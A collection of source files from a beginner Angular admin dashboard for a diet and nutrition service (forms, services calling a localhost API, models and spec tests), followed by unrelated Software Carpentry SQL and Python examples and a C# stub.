customer_contactno: string;
city: string;
birth_date: string;
gender: string;
height: string;
weight: string;
activity: string;
dietary_habits: string;
}
export const Gender = ['male','female'];
export const Activity = ['male','female','vegan'];
export const Dietaryhabits = ['male','female','veg'];
<file_sep>import { TestBed } from '@angular/core/testing';
import { AddDService } from './add-d.service';
describe('AddDService', () => {
beforeEach(() => TestBed.configureTestingModule({}));
it('should be created', () => {
const service: AddDService = TestBed.get(AddDService);
expect(service).toBeTruthy();
});
});
<file_sep>import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { List } from './list';
import { Observable } from 'rxjs';
@Injectable({
providedIn: 'root'
})
export class FormService {
url = 'http://localhost:3000/';
httpOptions = {
headers: new HttpHeaders({ 'Content-Type': 'application/json'})
};
constructor( private http:HttpClient) { }
createPost( list: List): Observable<any>{
return this.http.post(this.url + 'recipe', list, this.httpOptions);
}
}
<file_sep>import { TestBed } from '@angular/core/testing';
import { RecipeunitService } from './recipeunit.service';
describe('RecipeunitService', () => {
beforeEach(() => TestBed.configureTestingModule({}));
it('should be created', () => {
const service: RecipeunitService = TestBed.get(RecipeunitService);
expect(service).toBeTruthy();
});
});
<file_sep>import { Component, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { Package, Duration } from './package';
import { Dietitian } from '../dietitian/dietitian';
import { DietitianService } from '../dietitian/dietitian.service';
import { PackageService } from './package.service';
@Component({
selector: 'app-add-package',
templateUrl: './add-package.component.html',
styleUrls: ['./add-package.component.css']
})
export class AddPackageComponent implements OnInit {
packageForm: FormGroup;
package: Package;
durationType = Duration;
packages: Package[];
dietitians: Dietitian[];
constructor(private fb: FormBuilder,
private pService: PackageService,
private dService: DietitianService) {
this.createForm()
}
ngOnInit() {
this.pService.getData().subscribe((data: Package[]) => {
this.packages = data;
});
this.dService.getData().subscribe((data: Dietitian[]) => {
this.dietitians = data;
});
}
createForm() {
this.packageForm = this.fb.group({
package_name: '',
package_code: '',
plan_name: '',
dietitian_name: '',
duration: 'Select Duration',
isGroupPackage: false,
description: '',
});
}
onSubmit() {
this.package = this.packageForm.value;
console.log(this.package);
this.packageForm.reset();
this.pService.createPost(this.package).subscribe(
data => this.packages.push(data)
);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { List, Parent } from './list';
import { FormService } from './form.service';
@Component({
selector: 'app-recipe-form',
templateUrl: './recipe-form.component.html',
styleUrls: ['./recipe-form.component.css']
})
export class RecipeFormComponent implements OnInit {
recipeForm: FormGroup;
recipe: List;
parent = Parent;
posts: List[] = [];
constructor(private fb: FormBuilder, private fsrevic: FormService) {
this.createForm();
}
ngOnInit() {
}
createForm() {
this.recipeForm = this.fb.group({
recipe_code: '',
recipe_name: '',
parent_recipe: '',
variants: '',
reference_url: '',
possible_measurements: '',
typeofrecipe: '',
upload_image: '',
description: ''
});
}
onSubmit() {
this.recipe = this.recipeForm.value;
console.log(this.recipe);
this.recipeForm.reset();
this.fsrevic.createPost(this.recipe).subscribe(
data => this.posts.push(data)
);
}
}
<file_sep>export class Package {
package_name : String;
package_code : String;
plan_name : String;
dietitian_name : String;
duration : String;
isGroupPackage : Boolean;
description : String;
}
export const Duration = ['Monthly','Quarterly','HalfYearly','Yearly'];<file_sep>import { Component, OnInit } from '@angular/core';
import { CustomerService } from '../customer-list/customer.service';
import { Table } from '../customer-list/table';
import { PackageService } from '../add-package/package.service';
import { Package } from '../add-package/package';
import { Dietitian } from '../dietitian/dietitian';
import { DietitianService } from '../dietitian/dietitian.service';
@Component({
selector: 'app-customer-package',
templateUrl: './customer-package.component.html',
styleUrls: ['./customer-package.component.css']
})
export class CustomerPackageComponent implements OnInit {
customer: Table[];
packages: Package[];
dietitians: Dietitian[];
constructor( private cservice: CustomerService,
private pService: PackageService,
private dService: DietitianService) { }
ngOnInit() {
this.cservice.getData().subscribe((data: Table[]) => {
this.customer = data;
});
this.pService.getData().subscribe((data: Package[]) => {
this.packages = data;
});
this.dService.getData().subscribe((data: Dietitian[]) => {
this.dietitians = data;
});
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { PackagelistService } from './packagelist.service';
import { Package } from '../add-package/package';
@Component({
selector: 'app-package',
templateUrl: './package.component.html',
styleUrls: ['./package.component.css']
})
export class PackageComponent implements OnInit {
packages: Package[];
constructor(private pService: PackagelistService) { }
ngOnInit() {
this.pService.getData().subscribe((data: Package[]) => {
this.packages = data;
});
}
}
<file_sep>import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { CustomerImport } from '../customerimport';
@Injectable({
providedIn: 'root'
})
export class CustomerimportlistService {
url = 'http://localhost:3000/';
constructor( private http: HttpClient) { }
getData() {
return this.http.get(this.url + 'cus_import');
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { UlistService } from './ulist.service';
import { Uom } from '../add-uom/uom';
@Component({
selector: 'app-unitofmeasurement',
templateUrl: './unitofmeasurement.component.html',
styleUrls: ['./unitofmeasurement.component.css']
})
export class UnitofmeasurementComponent implements OnInit {
uom: Uom[];
constructor( private ulistservice: UlistService) { }
ngOnInit() {
this.ulistservice.getData().subscribe((data:Uom[]) => {
this.uom = data;
});
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { Plan, Plans } from './plan';
import { PlanService } from './plan.service';
import { Router, ActivatedRoute } from '@angular/router';
import { HttpParams } from '@angular/common/http';
@Component({
selector: 'app-plan',
templateUrl: './plan.component.html',
styleUrls: ['./plan.component.css']
})
export class PlanComponent implements OnInit {
pageTitle: string;
error: string;
uploadError: string;
planForm: FormGroup;
plan: Plan;
posts: Plan[] = [];
id;
constructor(private pf: FormBuilder,
private planService: PlanService,
private router: Router,
private route: ActivatedRoute) {
this.createForm();
}
ngOnInit() {
this.id = this.route.snapshot.paramMap.get('id');
if (this.id) {
this.pageTitle = 'Edit';
this.planService.getData(this.id).subscribe(
res => {
this.planForm.patchValue({
plan_name: res.plan_name,
plan_code: res.plan_code,
description: res.description,
isCustomPlan: res.isCustomPlan,
isDefault: res.isDefault
});
}
);
}else{
this.pageTitle = 'Create';
}
}
createForm() {
this.planForm = this.pf.group({
plan_name: '',
plan_code: '',
description: '',
isCustomPlan: false,
isDefault: false
});
}
updatePost() {
this.plan = this.planForm.value;
console.log(this.plan);
this.planForm.reset();
this.planService.updatePost(this.plan, this.id)
.subscribe(
(data) => {this.posts.push(data);}
// success => alert("Done"),
// error => alert("error")
);
}
onSubmit() {
if(this.id){
this.updatePost()
}else{
this.plan = this.planForm.value;
console.log(this.plan);
this.planForm.reset();
this.planService.createPost(this.plan).subscribe(
data => this.posts.push(data)
);}
}
}
<file_sep>import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { Feedback } from '../feedback';
import { HttpErrorResponse } from '@angular/common/http';
import { throwError, Observable } from 'rxjs';
import { catchError } from 'rxjs/operators';
@Injectable({
providedIn: 'root'
})
export class SignupServiceService {
serverUrl = 'http://localhost:3000/';
httpOptions = {
headers: new HttpHeaders({ 'Content-Type': 'application/json'})
};
constructor(private http : HttpClient) { }
createPost( feedback: Feedback): Observable<any>{
return this.http.post(this.serverUrl + 'signup', feedback, this.httpOptions);
}
// enrollpost(post_info){
// console.log(post_info);
// console.log('ggggg');
// return this.http.post<Feedback[]>(this._url+'signup',post_info).subscribe(res => console.log('Done'));;
// }
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { CustomerImport } from '../customerimport';
import { CustomerimportlistService } from './customerimportlist.service';
@Component({
selector: 'app-customerimportlist',
templateUrl: './customerimportlist.component.html',
styleUrls: ['./customerimportlist.component.css']
})
export class CustomerimportlistComponent implements OnInit {
cImport: CustomerImport[];
constructor( private ciService: CustomerimportlistService) { }
ngOnInit() {
this.ciService.getData().subscribe((data: CustomerImport[]) => {
this.cImport = data;
});
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { PlanlistService } from './planlist.service';
import { HttpClient, HttpParams } from '@angular/common/http';
import { Plan } from '../plan/plan';
import { Plist} from './plist';
@Component({
selector: 'app-plan-list',
templateUrl: './plan-list.component.html',
styleUrls: ['./plan-list.component.css']
})
export class PlanListComponent implements OnInit {
plans: Plist[];
plan: Plan[];
constructor( private planService: PlanlistService) { }
ngOnInit() {
this.planService.getData().subscribe((data: Plist[]) => {
this.plan = data;
});
}
// updatePost() {
// const id = new HttpParams;
// this.plan =
// this.planService.updatePost(this.plan, id)
// .subscribe(
// success => alert("Done"),
// error => alert("error")
// );
// }
}
<file_sep>export class Recipe{
recipetype_code: string;
recipetype_name: string;
}<file_sep>import { TestBed } from '@angular/core/testing';
import { UlistService } from './ulist.service';
describe('UlistService', () => {
beforeEach(() => TestBed.configureTestingModule({}));
it('should be created', () => {
const service: UlistService = TestBed.get(UlistService);
expect(service).toBeTruthy();
});
});
<file_sep>import { async, ComponentFixture, TestBed } from '@angular/core/testing';
import { DietitianComponent } from './dietitian.component';
describe('DietitianComponent', () => {
let component: DietitianComponent;
let fixture: ComponentFixture<DietitianComponent>;
beforeEach(async(() => {
TestBed.configureTestingModule({
declarations: [ DietitianComponent ]
})
.compileComponents();
}));
beforeEach(() => {
fixture = TestBed.createComponent(DietitianComponent);
component = fixture.componentInstance;
fixture.detectChanges();
});
it('should create', () => {
expect(component).toBeTruthy();
});
});
<file_sep>import { Component, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { Dietitian } from '../addDietitian';
import { AddDService } from './add-d.service';
@Component({
selector: 'app-add-dietitian',
templateUrl: './add-dietitian.component.html',
styleUrls: ['./add-dietitian.component.css']
})
export class AddDietitianComponent implements OnInit {
dietitianForm: FormGroup;
dietitan: Dietitian;
posts: Dietitian[];
constructor(private fb: FormBuilder, private dservice: AddDService) {
this.createForm();
}
ngOnInit() {
}
createForm() {
this.dietitianForm = this.fb.group({
dietitian_code: '',
dietitian_name: '',
qualification: '',
dietitian_email: '',
dietitian_contactno: '',
upload_photo: '',
description: '',
address1: '',
address2: '',
city: '',
state: '',
pincode: '',
dietitian_isactive: false
});
}
onSubmit() {
this.dietitan = this.dietitianForm.value;
console.log(this.dietitan);
this.dietitianForm.reset();
this.dservice.createPost(this.dietitan).subscribe(
data => this.posts.push(data)
);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { IngredientService } from './ingredient.service';
import { Ingredient } from '../add-ingredient/ingredient';
@Component({
selector: 'app-ingredient',
templateUrl: './ingredient.component.html',
styleUrls: ['./ingredient.component.css']
})
export class IngredientComponent implements OnInit {
ingredient: Ingredient[];
constructor(private Iservice: IngredientService) {}
ngOnInit() {
this.Iservice.getData().subscribe((data: Ingredient[]) => {
this.ingredient = data;
});
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { DietitianService } from './dietitian.service';
import { Dietitian } from './dietitian';
@Component({
selector: 'app-dietitian',
templateUrl: './dietitian.component.html',
styleUrls: ['./dietitian.component.css']
})
export class DietitianComponent implements OnInit {
dietitian: Dietitian[];
constructor(private dservice: DietitianService) {}
ngOnInit() {
this.dservice.getData().subscribe((data: Dietitian[]) => {
this.dietitian = data;
});
}
}
<file_sep> export class Dietitian {
dietitian_code : string;
dietitian_name : string;
qualification : string;
dietitian_email : string;
dietitian_contactno : number;
upload_photo : string;
description : string;
address1 : string;
address2 : string;
state : string;
city : string;
pincode : number;
dietitian_isactive : boolean ;
}
<file_sep>export class Clist{
ctype: string
}
export const Ctype = ['individual','Group'];<file_sep>import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { Package } from './package';
import { Observable } from 'rxjs';
@Injectable({
providedIn: 'root'
})
export class PackageService {
url = 'http://localhost:3000/';
httpOptions = {
headers: new HttpHeaders({ 'Content-Type': 'application/json'})
};
constructor( private http:HttpClient) { }
getData() {
return this.http.get(this.url + 'plan');
}
createPost( packag: Package): Observable<any>{
return this.http.post(this.url + 'package', packag, this.httpOptions);
}
}
<file_sep>import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { Plan } from '../plan/plan';
import { Observable } from 'rxjs';
import { Plist} from './plist';
@Injectable({
providedIn: 'root'
})
export class PlanlistService {
constructor( private http: HttpClient ) { }
url = 'http://localhost:3000/plan';
httpOptions = {
headers: new HttpHeaders({ 'Content-Type': 'application/json'})
};
getData() {
return this.http.get(this.url);
}
updatePost( plan: Plan, id){
return this.http.put(this.url + 'plan/' + id, plan,this.httpOptions);
}
}
<file_sep>export class Uom{
uom_code: string;
uom_name: string;
uom_value: string;
}<file_sep>import { Component, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { Uom } from './uom';
import { UomService } from './uom.service';
@Component({
selector: 'app-add-uom',
templateUrl: './add-uom.component.html',
styleUrls: ['./add-uom.component.css']
})
export class AddUomComponent implements OnInit {
uomForm: FormGroup;
uom: Uom;
posts: Uom[] = [];
constructor( private fb: FormBuilder, private uomservice: UomService) {
this.createForm();
}
ngOnInit() {
}
createForm(){
this.uomForm = this.fb.group({
uom_code: '',
uom_name: '',
uom_value: ''
});
}
onSubmit() {
this.uom = this.uomForm.value;
console.log(this.uom);
this.uomForm.reset();
this.uomservice.createPost(this.uom).subscribe(
data => this.posts.push(data)
);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { Ingredient } from './ingredient';
import { AddingredientService } from './addingredient.service';
@Component({
selector: 'app-add-ingredient',
templateUrl: './add-ingredient.component.html',
styleUrls: ['./add-ingredient.component.css']
})
export class AddIngredientComponent implements OnInit {
ingredientForm: FormGroup;
ingredient: Ingredient;
posts: Ingredient[];
constructor(private fb: FormBuilder, private iService: AddingredientService) {
this.createForm();
}
ngOnInit() {
}
createForm() {
this.ingredientForm = this.fb.group({
food_group: '',
food_code: '',
type: '',
food_name: '',
guju_name: '',
quantity: '',
one_exchange: '',
energy_kj: '',
energy_kcal: '',
gi_value: '',
gl_value: '',
carbohydrate: '',
protein: '',
total_fibre: '',
solublf: '',
in_solublf: '',
invisible_totalfat: '',
visiblefat: '',
thiamine: '',
riboflavin: '',
niacin: '',
biotin: '',
folates: '',
ascorbic_Acid: '',
vitamin_d2d3: '',
calcium: '',
phosphorous: '',
iron: '',
sodium: '',
potassium: '',
zinc: '',
magnesium: '',
sfa: '',
isActive: false
});
}
onSubmit() {
this.ingredient = this.ingredientForm.value;
console.log(this.ingredient);
this.ingredientForm.reset();
this.iService.createPost(this.ingredient).subscribe(
data => this.posts.push(data)
);
}
}
<file_sep>export class List {
recipe_code: string;
recipe_name: string;
parent_recipe: string;
variants: string;
reference_url: string;
possible_measurements: string;
typeofrecipe: string;
upload_image: string;
description: string;
}
export const Parent = ['Fruit','Vegitable','Pulse'];<file_sep>import { BrowserModule } from '@angular/platform-browser';
import { NgModule } from '@angular/core';
import { RouterModule } from '@angular/router';
import {CommonModule } from '@angular/common';
// import { Ng2SmartTableModule } from 'ng2-smart-table';
import { Ng2SearchPipeModule } from 'ng2-search-filter';
import { AppRoutingModule } from './app-routing/app-routing.module';
import { FormsModule } from '@angular/forms';
import { ReactiveFormsModule } from '@angular/forms';
import { HttpClientModule } from '@angular/common/http';
import { AppComponent } from './app.component';
import { AppheaderComponent } from './components/appheader/appheader.component';
import { AppfooterComponent } from './components/appfooter/appfooter.component';
import { AppmenuComponent } from './components/appmenu/appmenu.component';
import { PlanComponent } from './plan/plan.component';
import { DietitianComponent } from './dietitian/dietitian.component';
import { PackageComponent } from './package/package.component';
import { GroupComponent } from './group/group.component';
import { RecipetypeComponent } from './recipetype/recipetype.component';
import { UnitofmeasurementComponent } from './unitofmeasurement/unitofmeasurement.component';
import { CustomerSignupComponent } from './customer-signup/customer-signup.component';
import { RecipeComponent } from './recipe/recipe.component';
import { IngredientComponent } from './ingredient/ingredient.component';
import { AdminDietComponent } from './admin-diet/admin-diet.component';
import { CustomerImportComponent } from './customer-import/customer-import.component';
import { CustomerListComponent } from './customer-list/customer-list.component';
import { PlanListComponent } from './plan-list/plan-list.component';
import { AddDietitianComponent } from './add-dietitian/add-dietitian.component';
import { AddUomComponent } from './add-uom/add-uom.component';
import { RecipeUnitComponent } from './recipe-unit/recipe-unit.component';
import {SignupServiceService} from './customer-signup/signup-service.service';
import {CustomerService} from './customer-list/customer.service';
import { AddPackageComponent } from './add-package/add-package.component';
import { PackageService } from './add-package/package.service';
import { PackagelistService } from './package/packagelist.service';
import { DashboardComponent } from './dashboard/dashboard.component';
import { UomService } from './add-uom/uom.service';
import { AddRecipeComponent } from './add-recipe/add-recipe.component';
import { RecipeService } from './add-recipe/recipe.service';
import { RecipetypeService } from './recipetype/recipetype.service';
import { RecipeFormComponent } from './recipe-form/recipe-form.component';
import { CustomerPackageComponent } from './customer-package/customer-package.component';
import { FormService } from './recipe-form/form.service';
import { AddIngredientComponent } from './add-ingredient/add-ingredient.component';
import { AddingredientService } from './add-ingredient/addingredient.service';
import { IngredientService } from './ingredient/ingredient.service';
import { CustomerimportlistComponent } from './customerimportlist/customerimportlist.component';
import { ImportService } from './customer-import/import.service';
import { CustomerimportlistService } from './customerimportlist/customerimportlist.service';
import { RecipeunitService } from './recipe-unit/recipeunit.service';
import { AdmindietEditComponent } from './admindiet-edit/admindiet-edit.component';
// import { MyfilterPipe } from './myfilter.pipe';
@NgModule({
declarations: [
AppComponent,
AppheaderComponent,
AppfooterComponent,
AppmenuComponent,
PlanComponent,
DietitianComponent,
PackageComponent,
GroupComponent,
RecipetypeComponent,
UnitofmeasurementComponent,
CustomerSignupComponent,
RecipeComponent,
IngredientComponent,
AdminDietComponent,
CustomerImportComponent,
CustomerListComponent,
PlanListComponent,
AddDietitianComponent,
AddUomComponent,
RecipeUnitComponent,
AddPackageComponent,
DashboardComponent,
AddRecipeComponent,
RecipeFormComponent,
CustomerPackageComponent,
AddIngredientComponent,
CustomerimportlistComponent,
AdmindietEditComponent,
// MyfilterPipe
],
imports: [
BrowserModule,
AppRoutingModule,
Ng2SearchPipeModule,
CommonModule,
FormsModule,
ReactiveFormsModule,
RouterModule,
HttpClientModule
],
providers: [
SignupServiceService,
CustomerService,
PackageService,
PackagelistService,
UomService,
RecipeService,
RecipetypeService,
FormService,
AddingredientService,
IngredientService,
ImportService,
CustomerimportlistService,
RecipeunitService
],
bootstrap: [AppComponent]
})
export class AppModule { }
<file_sep>export interface Plan{
plan_name: string;
plan_code: string;
description: string;
isCustomPlan: Boolean;
isDefault: Boolean;
}
export interface Plans{
plans: Array<Plan>
}
<file_sep>import { TestBed } from '@angular/core/testing';
import { AdminlistService } from './adminlist.service';
describe('AdminlistService', () => {
beforeEach(() => TestBed.configureTestingModule({}));
it('should be created', () => {
const service: AdminlistService = TestBed.get(AdminlistService);
expect(service).toBeTruthy();
});
});
<file_sep>export interface Plist{
plan_name: string;
plan_code: string;
description: string;
isCustomPlan: Boolean;
isDefault: Boolean;
}<file_sep>import { Component, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { Feedback, Gender, Activity, Dietaryhabits } from '../feedback';
import { SignupServiceService } from './signup-service.service';
import { HttpClient, HttpHeaders } from '@angular/common/http';
@Component({
selector: 'app-customer-signup',
templateUrl: './customer-signup.component.html',
styleUrls: ['./customer-signup.component.css']
})
export class CustomerSignupComponent implements OnInit {
feedbackForm: FormGroup;
feedback: Feedback;
genderType = Gender;
activityType = Activity;
dietaryHabits = Dietaryhabits;
posts: Feedback[];
constructor( private fb: FormBuilder,private signupService: SignupServiceService) {
this.createForm();
}
ngOnInit() {
}
createForm(){
this.feedbackForm = this.fb.group({
customer_code: '',
customer_name: '',
customer_email: '',
customer_contactno: '',
city: '',
birth_date: '',
gender: '',
height: '',
weight: '',
activity: '',
dietary_habits: ''
});
}
onSubmit() {
this.feedback = this.feedbackForm.value;
console.log(this.feedback);
this.feedbackForm.reset();
this.signupService.createPost(this.feedback).subscribe(
data => this.posts.push(data)
);
}
}
<file_sep>import { async, ComponentFixture, TestBed } from '@angular/core/testing';
import { AdminDietComponent } from './admin-diet.component';
describe('AdminDietComponent', () => {
let component: AdminDietComponent;
let fixture: ComponentFixture<AdminDietComponent>;
beforeEach(async(() => {
TestBed.configureTestingModule({
declarations: [ AdminDietComponent ]
})
.compileComponents();
}));
beforeEach(() => {
fixture = TestBed.createComponent(AdminDietComponent);
component = fixture.componentInstance;
fixture.detectChanges();
});
it('should create', () => {
expect(component).toBeTruthy();
});
});
<file_sep>import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { Plan } from './plan';
import { Observable } from 'rxjs';
@Injectable({
providedIn: 'root'
})
export class PlanService {
serverUrl = 'http://localhost:3000/';
httpOptions = {
headers: new HttpHeaders({ 'Content-Type': 'application/json'})
};
constructor( private http: HttpClient ) { }
createPost( plan: Plan): Observable<any>{
return this.http.post(this.serverUrl + 'plan', plan, this.httpOptions);
}
getData(id: string) {
return this.http.get<Plan>(this.serverUrl + 'plan/' + id);
}
updatePost( plan: Plan, id){
return this.http.put<Plan>(this.serverUrl + 'plan/' + id, plan,this.httpOptions);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { AdminlistService } from './adminlist.service';
import { CustomerImport } from '../customerimport';
@Component({
selector: 'app-admin-diet',
templateUrl: './admin-diet.component.html',
styleUrls: ['./admin-diet.component.css']
})
export class AdminDietComponent implements OnInit {
customer: CustomerImport[];
constructor( private aService:AdminlistService) { }
ngOnInit() {
this.aService.getData().subscribe((data: CustomerImport[]) => {
this.customer = data;
});
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { Clist, Ctype } from './clist';
import { CustomerService } from './customer.service';
import { Table } from './table';
@Component({
selector: 'app-customer-list',
templateUrl: './customer-list.component.html',
styleUrls: ['./customer-list.component.css']
})
export class CustomerListComponent implements OnInit {
clistForm: FormGroup;
clist: Clist;
cType = Ctype;
customer: Table[];
constructor( private cl: FormBuilder, private cservice: CustomerService) {
this.createForm();
}
ngOnInit() {
this.cservice.getData().subscribe((data: Table[]) => {
this.customer = data;
});
}
createForm(){
this.clistForm = this.cl.group({
ctype:''
});
}
onSubmit() {
this.clist = this.clistForm.value;
console.log(this.clist);
this.clistForm.reset();
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { FormBuilder, FormGroup, Validators } from '@angular/forms';
import { Recipe } from './recipe';
import { RecipeService } from './recipe.service';
@Component({
selector: 'app-add-recipe',
templateUrl: './add-recipe.component.html',
styleUrls: ['./add-recipe.component.css']
})
export class AddRecipeComponent implements OnInit {
recipeForm: FormGroup;
recipe: Recipe;
posts: Recipe[] = [];
constructor(private fb: FormBuilder, private recipeService: RecipeService) {
this.createForm();
}
ngOnInit() {
}
createForm() {
this.recipeForm = this.fb.group({
recipetype_code: '',
recipetype_name: ''
});
}
onSubmit() {
this.recipe = this.recipeForm.value;
console.log(this.recipe);
this.recipeForm.reset();
this.recipeService.createPost(this.recipe).subscribe(
data => this.posts.push(data)
);
}
}
<file_sep>import { Component, OnInit } from '@angular/core';
import { RecipeunitService } from './recipeunit.service';
import { Ingredient } from '../add-ingredient/ingredient';
@Component({
selector: 'app-recipe-unit',
templateUrl: './recipe-unit.component.html',
styleUrls: ['./recipe-unit.component.css']
})
export class RecipeUnitComponent implements OnInit {
constructor(private rService: RecipeunitService) { }
ngOnInit() {
this.rService.getData().subscribe((data:Ingredient[])=> {
});
}
}
<file_sep>import { Injectable } from '@angular/core';
import { HttpClient, HttpHeaders } from '@angular/common/http';
import { Uom } from './uom';
import { throwError, Observable } from 'rxjs';
@Injectable({
providedIn: 'root'
})
export class UomService {
url = 'http://localhost:3000/';
httpOptions = {
headers: new HttpHeaders({'Content-Type': 'application/json'})
};
constructor( private http: HttpClient) { }
createPost( uom: Uom): Observable<any>{
return this.http.post(this.url + 'uom', uom, this.httpOptions);
}
}
<file_sep>export class CustomerImport {
isIndividual: boolean;
group_name: string;
package_name: string;
customer_name: string;
customer_email: string;
customer_contactno: number;
gender: string;
}
export const Selectpackage = ['package1','package2','package3','packagel'];
export const Gender = ['male', 'female'];
export const Selectgroup = ['NNC MALE VEGETARIAN','NNC FEMALE VEGETARIAN', 'NNC male eggetarian']; | 659c8ab76f4f69a39aa69608483c7cda8432aed4 | [
"TypeScript"
] | 49 | TypeScript | DakshGondaliya/AdminDashboard | 23c588153e6406d187d52b504ae1cd5d4ecfc910 | cb01564949e2770c619f013e682de5e6f1259f9c |
refs/heads/master | <repo_name>haohiohao/examples<file_sep>/sql/demo.py
# demo of reading sql from python
import csv, sqlite3
#set up db links
connection = sqlite3.connect("SWC.db") #creates SWC.db if it doesn't exist
cursor = connection.cursor()
#declare some tables
#data = cursor.execute("select * from person;")
#print data.fetchone();
for row in cursor.execute("select * from person;"):
print row
#save & quit
#connection.commit()
#cursor.close()
#connection.close()
<file_sep>/sql/survey.sql
PRAGMA foreign_keys=OFF;
BEGIN TRANSACTION;
CREATE TABLE Person(
ident text,
personal text,
family text
);
INSERT INTO "Person" VALUES('dyer','William','Dyer');
INSERT INTO "Person" VALUES('pb','Frank','Pabodie');
INSERT INTO "Person" VALUES('lake','Anderson','Lake');
INSERT INTO "Person" VALUES('roe','Valentina','Roerich');
INSERT INTO "Person" VALUES('danforth','Frank','Danforth');
CREATE TABLE Site(
name text,
lat real,
long real
);
INSERT INTO "Site" VALUES('DR-1',-49.85,-128.57);
INSERT INTO "Site" VALUES('DR-3',-47.15,-126.72);
INSERT INTO "Site" VALUES('MSK-4',-48.87,-123.4);
CREATE TABLE Visited(
ident integer,
site text,
dated text
);
INSERT INTO "Visited" VALUES(619,'DR-1','1927-02-08');
INSERT INTO "Visited" VALUES(622,'DR-1','1927-02-10');
INSERT INTO "Visited" VALUES(734,'DR-3','1939-01-07');
INSERT INTO "Visited" VALUES(735,'DR-3','1930-01-12');
INSERT INTO "Visited" VALUES(751,'DR-3','1930-02-26');
INSERT INTO "Visited" VALUES(752,'DR-3',NULL);
INSERT INTO "Visited" VALUES(837,'MSK-4','1932-01-14');
INSERT INTO "Visited" VALUES(844,'DR-1','1932-03-22');
CREATE TABLE Survey(
taken integer,
person text,
quant text,
reading real
);
INSERT INTO "Survey" VALUES(619,'dyer','rad',9.82);
INSERT INTO "Survey" VALUES(619,'dyer','sal',0.13);
INSERT INTO "Survey" VALUES(622,'dyer','rad',7.8);
INSERT INTO "Survey" VALUES(622,'dyer','sal',0.09);
INSERT INTO "Survey" VALUES(734,'pb','rad',8.41);
INSERT INTO "Survey" VALUES(734,'lake','sal',0.05);
INSERT INTO "Survey" VALUES(734,'pb','temp',-21.5);
INSERT INTO "Survey" VALUES(735,'pb','rad',7.22);
INSERT INTO "Survey" VALUES(735,NULL,'sal',0.06);
INSERT INTO "Survey" VALUES(735,NULL,'temp',-26.0);
INSERT INTO "Survey" VALUES(751,'pb','rad',4.35);
INSERT INTO "Survey" VALUES(751,'pb','temp',-18.5);
INSERT INTO "Survey" VALUES(751,'lake','sal',0.1);
INSERT INTO "Survey" VALUES(752,'lake','rad',2.19);
INSERT INTO "Survey" VALUES(752,'lake','sal',0.09);
INSERT INTO "Survey" VALUES(752,'lake','temp',-16.0);
INSERT INTO "Survey" VALUES(752,'roe','sal',41.6);
INSERT INTO "Survey" VALUES(837,'lake','rad',1.46);
INSERT INTO "Survey" VALUES(837,'lake','sal',0.21);
INSERT INTO "Survey" VALUES(837,'roe','sal',22.5);
INSERT INTO "Survey" VALUES(844,'roe','rad',11.25);
COMMIT;
<file_sep>/README.md
These materials adapted from Software Carpentry
https://github.com/swcarpentry
<file_sep>/sql/buildDB.py
# use this to build a binary db file out of CSV; open it from the bash shell like:
# sqlite3 SWC.db
import csv, sqlite3
#set up db links
connection = sqlite3.connect("SWC.db") #creates SWC.db if it doesn't exist
cursor = connection.cursor()
#declare some tables
cursor.execute("create table if not exists Person(ident text, personal text, family text)")
cursor.execute("create table if not exists Site(name text, lat real, long real);")
cursor.execute("create table if not exists Visited(ident integer, site text, dated text);")
cursor.execute("create table if not exists Survey(taken integer, person text, quant text, reading real);")
#define table population routine:
def populate(tableName, columnNames, nCols, dbConnection):
'''
populate a table named <tableName> in the database
<columnNames> is a tuple of strings naming the columns
<nCols> is the length of <columnNames>
<dbConnection> is an sqlite3.connect object
<tableName> will build its rows from CSV data in file named <tableName>.csv
'''
fileName = tableName + '.csv'
csvReader = csv.reader(open(fileName), delimiter=',', quotechar='"')
#build insert command, looks like "insert into mytable (x, y, z) values (?, ?, ?)"
sql = 'insert into ' + tableName + ' ' + str(columnNames) + ' values ('
for i in range(0, nCols):
sql += '?,'
sql = sql[:-1] + ')'
for row in csvReader:
dbConnection.execute(sql, row)
#fill the tables
populate('person', '(ident, personal, family)', 3, connection)
populate('site', '(name, lat, long)', 3, connection)
populate('visited', '(ident, site, dated)', 3, connection)
populate('survey', '(taken, person, quant, reading)', 4, connection)
#save & quit
connection.commit()
cursor.close()
connection.close()
| 5ecddfbb7c16d890553cd0cd3ce1b037a120d494 | [
"Markdown",
"SQL",
"Python"
] | 4 | Python | haohiohao/examples | d3b15aa04f84215fe1741d5fe79da8505dba2564 | 7396790098bf5808d1720dd6bc8768cdd8cb9e5e |
refs/heads/master | <repo_name>jesp209i/GuidanceCalendar<file_sep>/GuidanceCalendar.Application/UseCases/Calendar/Commands/CreateCalendar/CreateCalendarHandler.cs
using GuidanceCalendar.Ports.Out.Persistence;
using MediatR;
using System;
using System.Threading;
using System.Threading.Tasks;
namespace GuidanceCalendar.Application.UseCases.Calendar.Commands.CreateCalendar
{
